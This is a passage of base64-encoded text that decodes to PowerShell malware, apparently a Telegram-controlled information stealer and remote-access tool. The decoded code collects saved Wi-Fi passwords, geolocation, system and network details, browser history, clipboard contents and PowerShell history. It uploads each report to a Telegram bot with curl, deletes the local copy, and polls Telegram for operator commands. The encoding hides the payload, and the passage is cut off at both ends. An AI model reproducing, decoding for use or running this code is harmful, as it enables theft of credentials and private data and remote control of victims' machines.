WJsZSBJbmRleCwgRGVzY3JpcHRpb24sIElQQWRkcmVzcywgRGVmYXVsdElQR2F0ZXdheSwgTUFDQWRkcmVzcyANCiRjb21wdXRlclN5c3RlbSA9IEdldC1DaW1JbnN0YW5jZSBDSU1fQ29tcHV0ZXJTeXN0ZW0NCiRjb21wdXRlckJJT1MgPSBHZXQtQ2ltSW5zdGFuY2UgQ0lNX0JJT1NFbGVtZW50DQokY29tcHV0ZXJPcz1HZXQtV21pT2JqZWN0IHdpbjMyX29wZXJhdGluZ3N5c3RlbSB8IHNlbGVjdCBDYXB0aW9uLCBDU05hbWUsIFZlcnNpb24sIEB7TmFtZT0iSW5zdGFsbERhdGUiO0V4cHJlc3Npb249eyhbV01JXScnKS5Db252ZXJ0VG9EYXRlVGltZSgkXy5JbnN0YWxsRGF0ZSl9fSAsIEB7TmFtZT0iTGFzdEJvb3RVcFRpbWUiO0V4cHJlc3Npb249eyhbV01JXScnKS5Db252ZXJ0VG9EYXRlVGltZSgkXy5MYXN0Qm9vdFVwVGltZSl9fSwgQHtOYW1lPSJMb2NhbERhdGVUaW1lIjtFeHByZXNzaW9uPXsoW1dNSV0nJykuQ29udmVydFRvRGF0ZVRpbWUoJF8uTG9jYWxEYXRlVGltZSl9fSwgQ3VycmVudFRpbWVab25lLCBDb3VudHJ5Q29kZSwgT1NMYW5ndWFnZSwgU2VyaWFsTnVtYmVyLCBXaW5kb3dzRGlyZWN0b3J5ICB8IEZvcm1hdC1MaXN0DQokY29tcHV0ZXJDcHU9R2V0LVdtaU9iamVjdCBXaW4zMl9Qcm9jZXNzb3IgfCBzZWxlY3QgRGV2aWNlSUQsIE5hbWUsIENhcHRpb24sIE1hbnVmYWN0dXJlciwgTWF4Q2xvY2tTcGVlZCwgTDJDYWNoZVNpemUsIEwyQ2FjaGVTcGVlZCwgTDNDYWNoZVNpemUsIEwzQ2FjaGVTcGVlZCB8IEZvcm1hdC1MaXN0DQokY29tcHV0ZXJNYWluYm9hcmQ9R2V0LVdtaU9iamVjdCBXaW4zMl9CYXNlQm9hcmQgfCBGb3JtYXQtTGlzdA0KJGNvbXB1dGVyUmFtQ2FwYWNpdHk9R2V0LVdtaU9iamVjdCBXaW4zMl9QaHlzaWNhbE1lbW9yeSB8IE1lYXN1cmUtT2JqZWN0IC1Qcm9wZXJ0eSBjYXBhY2l0eSAtU3VtIHwgJSB7ICJ7MDpOMX0gR0IiIC1mICgkXy5zdW0gLyAxR0IpfQ0KJGNvbXB1dGVyUmFtPUdldC1XbWlPYmplY3QgV2luMzJfUGh5c2ljYWxNZW1vcnkgfCBzZWxlY3QgRGV2aWNlTG9jYXRvciwgQHtOYW1lPSJDYXBhY2l0eSI7RXhwcmVzc2lvbj17ICJ7MDpOMX0gR0IiIC1mICgkXy5DYXBhY2l0eSAvIDFHQil9fSwgQ29uZmlndXJlZENsb2NrU3BlZWQsIENvbmZpZ3VyZWRWb2x0YWdlIHwgRm9ybWF0LVRhYmxlDQokdmlkZW9jYXJkPUdldC1XbWlPYmplY3QgV2luMzJfVmlkZW9Db250cm9sbGVyIHwgRm9ybWF0LVRhYmxlIE5hbWUsIFZpZGVvUHJvY2Vzc29yLCBEcml2ZXJWZXJzaW9uLCBDdXJyZW50SG9yaXpvbnRhbFJlc29sdXRpb24sIEN1cnJlbnRWZXJ0aWNhbFJlc29sdXRpb24NCiRIZGRzID0gR2V0LVdtaU9iamVjdCBXaW4zMl9Mb2dpY2FsRGlzayB8IHNlbGVjdCBEZXZpY2VJRCwgVm9sdW1lTmFtZSwgRmlsZVN5c3RlbSxAe05hbWU9IlNpemVfR0IiO0V4cHJlc3Npb249eyJ7MDpOMX0gR0IiIC1mICgkXy5TaXplIC8gMUdiKX19LCBAe05hbWU9IkZyZWVTcGFjZV9HQiI7RXhwcmVzc2lvbj17InswOk4xfSBHQiIgLWYgKCRfLkZyZWVTcGFjZSAvIDFHYil9fSwgQHtOYW1lPSJGcmVlU3BhY2VfcGVyY2VudCI7RXhwcmVzc2lvbj17InswOk4xfSUiIC1mICgoMTAwIC8gKCRfLlNpemUgLyAkXy5GcmVlU3BhY2UpKSl9fSB8IEZvcm1hdC1UYWJsZSBEZXZpY2VJRCwgVm9sdW1lTmFtZSxGaWxlU3lzdGVtLEB7IE5hbWU9IlNpemUgR0IiOyBFeHByZXNzaW9uPXskXy5TaXplX0dCfTsgYWxpZ249InJpZ2h0IjsgfSwgQHsgTmFtZT0iRnJlZVNwYWNlIEdCIjsgRXhwcmVzc2lvbj17JF8uRnJlZVNwYWNlX0dCfTsgYWxpZ249InJpZ2h0IjsgfSwgQHsgTmFtZT0iRnJlZVNwYWNlICUiOyBFeHByZXNzaW9uPXskXy5GcmVlU3BhY2VfcGVyY2VudH07IGFsaWduPSJyaWdodCI7IH0NCiRDT01EZXZpY2VzID0gR2V0LVdtaW9iamVjdCBXaW4zMl9VU0JDb250cm9sbGVyRGV2aWNlIHwgRm9yRWFjaC1PYmplY3R7W1dtaV0oJF8uRGVwZW5kZW50KX0gfCBTZWxlY3QtT2JqZWN0IE5hbWUsIERldmljZUlELCBNYW51ZmFjdHVyZXIgfCBTb3J0LU9iamVjdCAtRGVzY2VuZGluZyBOYW1lIHwgRm9ybWF0LVRhYmxlDQokc3lzdGVtTG9jYWxlID0gR2V0LVdpblN5c3RlbUxvY2FsZTskc3lzdGVtTGFuZ3VhZ2UgPSAkc3lzdGVtTG9jYWxlLk5hbWUNCiR1c2VyTGFuZ3VhZ2VMaXN0ID0gR2V0LVdpblVzZXJMYW5ndWFnZUxpc3Q7JGtleWJvYXJkTGF5b3V0SUQgPSAkdXNlckxhbmd1YWdlTGlzdFswXS5JbnB1dE1ldGhvZFRpcHNbMF0NCkFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLkRldmljZTskR2VvbG9jYXRlID0gTmV3LU9iamVjdCBTeXN0ZW0uRGV2aWNlLkxvY2F0aW9uLkdlb0Nvb3JkaW5hdGVXYXRjaGVyOyRHZW9sb2NhdGUuU3RhcnQoKQ0Kd2hpbGUgKCgkR2VvbG9jYXRlLlN0YXR1cyAtbmUgJ1JlYWR5JykgLWFuZCAoJEdlb2xvY2F0ZS5QZXJtaXNzaW9uIC1uZSAnRGVuaWVkJykpIHtTdGFydC1TbGVlcCAtTWlsbGlzZWNvbmRzIDEwMH0gIA0KJEdlb2xvY2F0ZS5Qb3NpdGlvbi5Mb2NhdGlvbiB8IFNlbGVjdCBMYXRpdHVkZSxMb25naXR1ZGUNCiRvdXRzc2lkPSIiOyRhPTA7JHdzPShuZXRzaCB3bGFuIHNob3cgcHJvZmlsZXMpIC1yZXBsYWNlICIuKjpccysiO2ZvcmVhY2goJHMgaW4gJHdzKXsNCmlmKCRhIC1ndCAxIC1BbmQgJHMgLU5vdE1hdGNoICIgcG9saWN5ICIgLUFuZCAkcyAtbmUgIlVzZXIgcHJvZmlsZXMiIC1BbmQgJHMgLU5vdE1hdGNoICItLS0tLSIgLUFuZCAkcyAtTm90TWF0Y2ggIjxOb25lPiIgLUFuZCAkcy5sZW5ndGggLWd0IDUpeyRzc2lkPSRzLlRyaW0oKTtpZigkcyAtTWF0Y2ggIjoiKXskc3NpZD0kcy5TcGxpdCgiOiIpWzFdLlRyaW0oKX0NCiRwdz0obmV0c2ggd2xhbiBzaG93IHByb2ZpbGVzIG5hbWU9JHNzaWQga2V5PWNsZWFyKTskcGFzcz0iTm9uZSI7Zm9yZWFjaCgkcCBpbiAkcHcpe2lmKCRwIC1NYXRjaCAiS2V5IENvbnRlbnQiKXskcGFzcz0kcC5TcGxpdCgiOiIpWzFdLlRyaW0oKTskb3V0c3NpZCs9IlNTSUQ6ICRzc2lkIDogUGFzc3dvcmQ6ICRwYXNzYG4ifX19JGErKzt9DQokb3V0cGF0aCA9ICIkZW52OnRlbXBcU3lzdGVtSW5mby50eHQiDQoiVVNFUiBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSQ0KIkZ1bGwgTmFtZSAgICAgICAgICA6ICRmdWxsTmFtZSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJFbWFpbCBBZGRyZXNzICAgICAgOiAkZW1haWwiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTG9jYXRpb24gICAgICAgICAgIDogJEdlb2xvY2F0ZSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJDb21wdXRlciBOYW1lICAgICAgOiAkZW52OkNPTVBVVEVSTkFNRSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJMYW5ndWFnZSAgICAgICAgICAgOiAkc3lzdGVtTGFuZ3VhZ2UiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiS2V5Ym9hcmQgTGF5b3V0ICAgIDogJGtleWJvYXJkTGF5b3V0SUQiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTkVUV09SSyBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiUHVibGljIElQICAgICAgICAgIDogJGNvbXB1dGVyUHViSVAiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiU2F2ZWQgTmV0d29ya3MgICAgIDogJG91dHNzaWQiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTG9jYWwgSVAgICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRjb21wdXRlcklQfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkFkYXB0ZXJzICAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkbmV0d29ya3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJIQVJEV0FSRSBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiY29tcHV0ZXIgICAgICAgICAgIDogJGNvbXB1dGVyU3lzdGVtIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkJJT1MgSW5mbyAgICAgICAgICA6ICRjb21wdXRlckJJT1MiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiUkFNIEluZm8gICAgICAgICAgIDogJGNvbXB1dGVyUmFtQ2FwYWNpdHkiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJGNvbXB1dGVyUmFtfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIk9TIEluZm8gICAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkY29tcHV0ZXJPc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJDUFUgSW5mbyAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJGNvbXB1dGVyQ3B1fCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkdyYXBoaWNzIEluZm8gICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkdmlkZW9jYXJkfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkhERCBJbmZvICAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkSGRkc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJVU0IgSW5mbyAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJENPTURldmljZXN8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQokRmlsZVBhdGggPSAiJGVudjp0ZW1wXFN5c3RlbUluZm8udHh0Ig0KY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkRmlsZVBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCIgfCBPdXQtTnVsbA0KUmVtb3ZlLUl0ZW0gLVBhdGggJEZpbGVQYXRoIC1Gb3JjZQ0KfQ0KDQoNCkZ1bmN0aW9uIFNvZnR3YXJlSW5mb3sNCiRwcm9jZXNzPUdldC1XbWlPYmplY3Qgd2luMzJfcHJvY2VzcyB8IHNlbGVjdCBIYW5kbGUsIFByb2Nlc3NOYW1lLCBFeGVjdXRhYmxlUGF0aCwgQ29tbWFuZExpbmUNCiRzZXJ2aWNlPUdldC1DaW1JbnN0YW5jZSAtQ2xhc3NOYW1lIFdpbjMyX1NlcnZpY2UgfCBzZWxlY3QgU3RhdGUsTmFtZSxTdGFydE5hbWUsUGF0aE5hbWUgfCBXaGVyZS1PYmplY3QgeyRfLlN0YXRlIC1saWtlICdSdW5uaW5nJ30NCiRzb2Z0d2FyZT1HZXQtSXRlbVByb3BlcnR5IEhLTE06XFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFVuaW5zdGFsbFwqIHwgd2hlcmUgeyAkXy5EaXNwbGF5TmFtZSAtbm90bGlrZSAkbnVsbCB9IHwgIFNlbGVjdC1PYmplY3QgRGlzcGxheU5hbWUsIERpc3BsYXlWZXJzaW9uLCBQdWJsaXNoZXIsIEluc3RhbGxEYXRlIHwgU29ydC1PYmplY3QgRGlzcGxheU5hbWUgfCBGb3JtYXQtVGFibGUgLUF1dG9TaXplDQokZHJpdmVycz1HZXQtV21pT2JqZWN0IFdpbjMyX1BuUFNpZ25lZERyaXZlcnwgd2hlcmUgeyAkXy5EZXZpY2VOYW1lIC1ub3RsaWtlICRudWxsIH0gfCBzZWxlY3QgRGV2aWNlTmFtZSwgRnJpZW5kbHlOYW1lLCBEcml2ZXJQcm92aWRlck5hbWUsIERyaXZlclZlcnNpb24NCiRvdXRwYXRoID0gIiRlbnY6dGVtcFxTb2Z0d2FyZUluZm8udHh0Ig0KIlNPRlRXQVJFIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJJbnN0YWxsZWQgU29mdHdhcmUgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHNvZnR3YXJlfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIlByb2Nlc3NlcyAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkcHJvY2Vzc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJTZXJ2aWNlcyAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHNlcnZpY2V8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiRHJpdmVycyAgICAgICAgICAgIDogJGRyaXZlcnMiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQokRmlsZVBhdGggPSAiJGVudjp0ZW1wXFNvZnR3YXJlSW5mby50eHQiDQpjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiRGaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiB8IE91dC1OdWxsDQpSZW1vdmUtSXRlbSAtUGF0aCAkRmlsZVBhdGggLUZvcmNlDQp9DQoNCg0KRnVuY3Rpb24gSGlzdG9yeUluZm97DQokUmVnZXggPSAnKGh0dHB8aHR0cHMpOi8vKFtcdy1dK1wuKStbXHctXSsoL1tcdy0gLi8/JSY9XSopKj8nOyRQYXRoID0gIiRFbnY6VVNFUlBST0ZJTEVcQXBwRGF0YVxMb2NhbFxHb29nbGVcQ2hyb21lXFVzZXIgRGF0YVxEZWZhdWx0XEhpc3RvcnkiDQokVmFsdWUgPSBHZXQtQ29udGVudCAtUGF0aCAkUGF0aCB8IFNlbGVjdC1TdHJpbmcgLUFsbE1hdGNoZXMgJHJlZ2V4IHwlIHsoJF8uTWF0Y2hlcykuVmFsdWV9IHxTb3J0IC1VbmlxdWUNCiRWYWx1ZSB8IEZvckVhY2gtT2JqZWN0IHskS2V5ID0gJF87aWYgKCRLZXkgLW1hdGNoICRTZWFyY2gpe05ldy1PYmplY3QgLVR5cGVOYW1lIFBTT2JqZWN0IC1Qcm9wZXJ0eSBAe1VzZXIgPSAkZW52OlVzZXJOYW1lO0Jyb3dzZXIgPSAnY2hyb21lJztEYXRhVHlwZSA9ICdoaXN0b3J5JztEYXRhID0gJF99fX0NCiRSZWdleDIgPSAnKGh0dHB8aHR0cHMpOi8vKFtcdy1dK1wuKStbXHctXSsoL1tcdy0gLi8/JSY9XSopKj8nOyRQYXRoZWQgPSAiJEVudjpVU0VSUFJPRklMRVxBcHBEYXRhXExvY2FsXE1pY3Jvc29mdC9FZGdlL1VzZXIgRGF0YS9EZWZhdWx0L0hpc3RvcnkiDQokVmFsdWUyID0gR2V0LUNvbnRlbnQgLVBhdGggJFBhdGhlZCB8IFNlbGVjdC1TdHJpbmcgLUFsbE1hdGNoZXMgJHJlZ2V4MiB8JSB7KCRfLk1hdGNoZXMpLlZhbHVlfSB8U29ydCAtVW5pcXVlDQokVmFsdWUyIHwgRm9yRWFjaC1PYmplY3QgeyRLZXkgPSAkXztpZiAoJEtleSAtbWF0Y2ggJFNlYXJjaCl7TmV3LU9iamVjdCAtVHlwZU5hbWUgUFNPYmplY3QgLVByb3BlcnR5IEB7VXNlciA9ICRlbnY6VXNlck5hbWU7QnJvd3NlciA9ICdjaHJvbWUnO0RhdGFUeXBlID0gJ2hpc3RvcnknO0RhdGEgPSAkX319fQ0KJHBzaGlzdCA9ICIkZW52OlVTRVJQUk9GSUxFXEFwcERhdGFcUm9hbWluZ1xNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXFBTUmVhZExpbmVcQ29uc29sZUhvc3RfaGlzdG9yeS50eHQiOyRwc2hpc3RvcnkgPSBHZXQtQ29udGVudCAkcHNoaXN0IC1yYXcNCiRvdXRwYXRoID0gIiRlbnY6dGVtcFxIaXN0b3J5LnR4dCINCiJISVNUT1JZIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSBgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJDbGlwYm9hcmQgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooR2V0LUNsaXBib2FyZCB8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiQnJvd3NlciBIaXN0b3J5ICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRWYWx1ZXwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkVmFsdWUyfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIlBvd2Vyc2hlbGwgSGlzdG9yeSBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkcHNoaXN0b3J5fCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KImBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KJEZpbGVQYXRoID0gIiRlbnY6dGVtcFxIaXN0b3J5LnR4dCINCmN1cmwuZXhlIC1GIGNoYXRfaWQ9IiRDaGF0SUQiIC1GIGRvY3VtZW50PUAiJEZpbGVQYXRoIiAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9zZW5kRG9jdW1lbnQiIHwgT3V0LU51bGwNClJlbW92ZS1JdGVtIC1QYXRoICRGaWxlUGF0aCAtRm9yY2UNCn0NCg0KRnVuY3Rpb24gU2hvd0J1dHRvbnN7DQokbWVzc2FnZWhlYWQgPSAiUHJlc3MgYSBCdXR0b24gdG8gQ29udGludWUuLi4iDQokaW5saW5lS2V5Ym9hcmRKc29uID0gJ3siaW5saW5lX2tleWJvYXJkIjpbW3sidGV4dCI6ICJFbnRlciBDb21tYW5kcyIsImNhbGxiYWNrX2RhdGEiOiAiYnV0dG9uX2NsaWNrZWQifSx7InRleHQiOiAiT3B0aW9ucyIsImNhbGxiYWNrX2RhdGEiOiAiYnV0dG9uMl9jbGlja2VkIn1dXX0nDQokcGFyYW1lcnMgPSBAew0KICAgIGNoYXRfaWQgPSAkY2hhdElkDQogICAgdGV4dCA9ICRtZXNzYWdlaGVhZA0KICAgIHJlcGx5X21hcmt1cCA9ICRpbmxpbmVLZXlib2FyZEpzb24NCn0NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIiAtQm9keSAoJHBhcmFtZXJzIHwgQ29udmVydFRvLUpzb24gLURlcHRoIDEwKQ0KJGtpbGxpbnQgPSAwDQokb2Zmc2V0ID0gMA0Kd2hpbGUgKCRraWxsaW50IC1lcSAwKSB7DQogICAgJHVwZGF0ZXMgPSBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL2dldFVwZGF0ZXM/b2Zmc2V0PSRvZmZzZXQiIC1NZXRob2QgR2V0DQogICAgZm9yZWFjaCAoJHVwZGF0ZSBpbiAkdXBkYXRlcy5yZXN1bHQpIHsNCiAgICAgICAgJG9mZnNldCA9ICR1cGRhdGUudXBkYXRlX2lkICsgMQ0KICAgICAgICBTbGVlcCAxDQogICAgICAgIGlmICgkdXBkYXRlLmNhbGxiYWNrX3F1ZXJ5LmRhdGEgLWVxICJidXR0b25fY2xpY2tlZCIpIHsNCiAgICAgICAgICAgICRraWxsaW50ID0gMQ0KICAgICAgICB9DQogICAgICAgIGlmICgkdXBkYXRlLmNhbGxiYWNrX3F1ZXJ5LmRhdGEgLWVxICJidXR0b24yX2NsaWNrZWQiKSB7DQogICAgICAgICAgICAka2lsbGludCA9IDENCiAgICAgICAgICAgIE9wdGlvbnMNCiAgICAgICAgfQ0KICAgIH0NCiAgICBTbGVlcCAxDQp9DQokY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJHRpY2sgU2Vz